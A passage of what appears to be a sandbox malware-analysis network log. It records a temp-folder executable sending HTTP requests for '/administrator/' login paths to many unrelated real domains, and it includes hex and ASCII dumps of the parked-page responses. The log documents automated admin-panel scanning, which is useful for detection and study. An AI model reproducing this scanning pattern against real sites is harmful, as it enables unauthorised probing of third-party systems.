56 6a 6f 4a 77 6f 77 42 71 54 73 61 4b 2f 78 33 4b 41 67 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pQEJsuok4FgbQNM7L/4zIPhFIgJjBYqYeQ9VxUYSCHcksJ+C0oHQqv1o2XcGqMVqx/VjoJwowBqTsaK/x3KAgg==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link
Dec 20, 2023 03:13:19.869966030 CET	515	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTU3ZjBlNzMtZjNlNy00YTcwLWJlZjEtNWFmYzAzZmIyZGM0IiwicGFnZV90aW1lIjoxNzAzMDM4Mzk5LCJwYWdlX3
Dec 20, 2023 03:13:19.874366045 CET	515	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTU3ZjBlNzMtZjNlNy00YTcwLWJlZjEtNWFmYzAzZmIyZGM0IiwicGFnZV90aW1lIjoxNzAzMDM4Mzk5LCJwYWdlX3
Dec 20, 2023 03:13:19.878138065 CET	302	OUT	GET /administrator/index.php HTTP/1.1 Host: choctawcasino.com Accept: / Accept-Encoding: deflate, gzip Cookie: parking_session=157f0e73-f3e7-4a70-bef1-5afc03fb2dc4 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://choctawcasino.com/administrator/
Dec 20, 2023 03:13:20.028630972 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:19 GMT content-type: text/html; charset=utf-8 content-length: 1129 x-request-id: 6c2f9f31-1344-48f1-bc16-7912315cf8b3 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Apfck6d7W/XkNqzkfSm00bJ+NeGNNj1DJorGpi23NKGLc/Ttak+125c2jyOkZjlFzcIoN3VdOhJFLHfcdnohSA== set-cookie: parking_session=157f0e73-f3e7-4a70-bef1-5afc03fb2dc4; expires=Wed, 20 Dec 2023 02:28:19 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 41 70 66 63 6b 36 64 37 57 2f 58 6b 4e 71 7a 6b 66 53 6d 30 30 62 4a 2b 4e 65 47 4e 4e 6a 31 44 4a 6f 72 47 70 69 32 33 4e 4b 47 4c 63 2f 54 74 61 6b 2b 31 32 35 63 32 6a 79 4f 6b 5a 6a 6c 46 7a 63 49 6f 4e 33 56 64 4f 68 4a 46 4c 48 66 63 64 6e 6f 68 53 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Apfck6d7W/XkNqzkfSm00bJ+NeGNNj1DJorGpi23NKGLc/Ttak+125c2jyOkZjlFzcIoN3VdOhJFLHfcdnohSA==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pre
Dec 20, 2023 03:13:20.028642893 CET	591	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTU3ZjBlNzMtZjNlNy00YTcwLWJlZjEtNWFmYzAzZmIyZGM0IiwicGFnZV90aW1lIjoxNzAzMDM4Mzk5LCJwYWdlX3VybCI6Im
Dec 20, 2023 03:13:20.034404993 CET	591	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTU3ZjBlNzMtZjNlNy00YTcwLWJlZjEtNWFmYzAzZmIyZGM0IiwicGFnZV90aW1lIjoxNzAzMDM4Mzk5LCJwYWdlX3VybCI6Im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	51201	199.60.103.25	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.798788071 CET	188	OUT	GET /administrator/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.035830975 CET	1092	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Length: 0 Connection: keep-alive Location: https://greenlawnfertilizing.com/administrator/ Cache-Control: s-maxage=3600,max-age=120 X-Hs-Https-Only: worker Set-Cookie: __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8=; path=/; expires=Wed, 20-Dec-23 02:43:19 GMT; domain=.greenlawnfertilizing.com; HttpOnly; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QRNOlbv0rfEY1jz5xq%2BM4ATPmuZSq4DRXjIOddJ%2FYPdVPNuszKJUur9iaDA2%2BnAM%2BuBGpozZGjZqj5up%2BbTqQT5WiPVgqjEO%2FnZut%2F7Dh%2BPxEoMyh7oypuNoxJPQIKFb6jdv61yOH6Dw1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Set-Cookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; path=/; domain=.greenlawnfertilizing.com; HttpOnly Server: cloudflare CF-RAY: 83845d8f1a3b74ac-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	51245	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.838169098 CET	184	OUT	GET /administrator/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:19.982794046 CET	400	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://geoffreynolds.com.au/administrator/ Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:19 GMT X-Served-By: cache-pdk-kfty2130042-PDK X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1703038400.903921,VS0,VE0 alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	51216	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.840634108 CET	177	OUT	GET /administrator/ HTTP/1.1 Host: conalcorp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.117117882 CET	226	IN	HTTP/1.1 409 Conflict Date: Wed, 20 Dec 2023 02:13:19 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	51266	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.840799093 CET	177	OUT	GET /administrator/ HTTP/1.1 Host: onjevilla.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.011399984 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:19 GMT content-type: text/html; charset=utf-8 content-length: 1033 x-request-id: 3aa4a8fb-1ccb-4ff1-aa9a-b8f4380b9281 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_UJfxkBbHodmn1HevBLEVgFOiA4KiVFIpYxyQPPGLgLHsSSdims8ITaQ0QpZxXS9zY7urGvVRNOiB97uFGOzHPg== set-cookie: parking_session=3aa4a8fb-1ccb-4ff1-aa9a-b8f4380b9281; expires=Wed, 20 Dec 2023 02:28:19 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 55 4a 66 78 6b 42 62 48 6f 64 6d 6e 31 48 65 76 42 4c 45 56 67 46 4f 69 41 34 4b 69 56 46 49 70 59 78 79 51 50 50 47 4c 67 4c 48 73 53 53 64 69 6d 73 38 49 54 61 51 30 51 70 5a 78 58 53 39 7a 59 37 75 72 47 76 56 52 4e 4f 69 42 39 37 75 46 47 4f 7a 48 50 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_UJfxkBbHodmn1HevBLEVgFOiA4KiVFIpYxyQPPGLgLHsSSdims8ITaQ0QpZxXS9zY7urGvVRNOiB97uFGOzHPg==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link
Dec 20, 2023 03:13:20.011413097 CET	503	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiM2FhNGE4ZmItMWNjYi00ZmYxLWFhOWEtYjhmNDM4MGI5MjgxIiwicGFnZV90aW1lIjoxNzAzMDM4Mzk5LCJwYWdlX3
Dec 20, 2023 03:13:20.012177944 CET	294	OUT	GET /administrator/index.php HTTP/1.1 Host: onjevilla.com Accept: / Accept-Encoding: deflate, gzip Cookie: parking_session=3aa4a8fb-1ccb-4ff1-aa9a-b8f4380b9281 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://onjevilla.com/administrator/
Dec 20, 2023 03:13:20.017729998 CET	503	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiM2FhNGE4ZmItMWNjYi00ZmYxLWFhOWEtYjhmNDM4MGI5MjgxIiwicGFnZV90aW1lIjoxNzAzMDM4Mzk5LCJwYWdlX3
Dec 20, 2023 03:13:20.163002014 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:19 GMT content-type: text/html; charset=utf-8 content-length: 1113 x-request-id: cbc49449-3060-4ac7-8aac-04fe1da383bd cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wcDkA6q9FfbMzSsNxePfmrxzbuQDVbgaw5aWSvTBx83KajupPOEMLkaAtf7QxF9OWgHQiRZhwBzwF8zpbVlpJw== set-cookie: parking_session=3aa4a8fb-1ccb-4ff1-aa9a-b8f4380b9281; expires=Wed, 20 Dec 2023 02:28:20 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 77 63 44 6b 41 36 71 39 46 66 62 4d 7a 53 73 4e 78 65 50 66 6d 72 78 7a 62 75 51 44 56 62 67 61 77 35 61 57 53 76 54 42 78 38 33 4b 61 6a 75 70 50 4f 45 4d 4c 6b 61 41 74 66 37 51 78 46 39 4f 57 67 48 51 69 52 5a 68 77 42 7a 77 46 38 7a 70 62 56 6c 70 4a 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wcDkA6q9FfbMzSsNxePfmrxzbuQDVbgaw5aWSvTBx83KajupPOEMLkaAtf7QxF9OWgHQiRZhwBzwF8zpbVlpJw==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pre
Dec 20, 2023 03:13:20.163014889 CET	575	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiM2FhNGE4ZmItMWNjYi00ZmYxLWFhOWEtYjhmNDM4MGI5MjgxIiwicGFnZV90aW1lIjoxNzAzMDM4NDAwLCJwYWdlX3VybCI6Im
Dec 20, 2023 03:13:20.169768095 CET	575	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiM2FhNGE4ZmItMWNjYi00ZmYxLWFhOWEtYjhmNDM4MGI5MjgxIiwicGFnZV90aW1lIjoxNzAzMDM4NDAwLCJwYWdlX3VybCI6Im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	51264	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.861181974 CET	174	OUT	GET /administrator/ HTTP/1.1 Host: goaeta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.013650894 CET	365	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-215.ec2.internal X-Request-Id: f8eff489-4521-42f9-8261-12609f7a3c2d Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Dec 20, 2023 03:13:20.014177084 CET	226	OUT	GET /administrator/index.php HTTP/1.1 Host: goaeta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://goaeta.com/administrator/
Dec 20, 2023 03:13:20.166853905 CET	365	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-137.ec2.internal X-Request-Id: 0ca978b1-df77-4d0f-9f45-13b50a8c00fd Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	51298	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.872287989 CET	173	OUT	GET /administrator/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
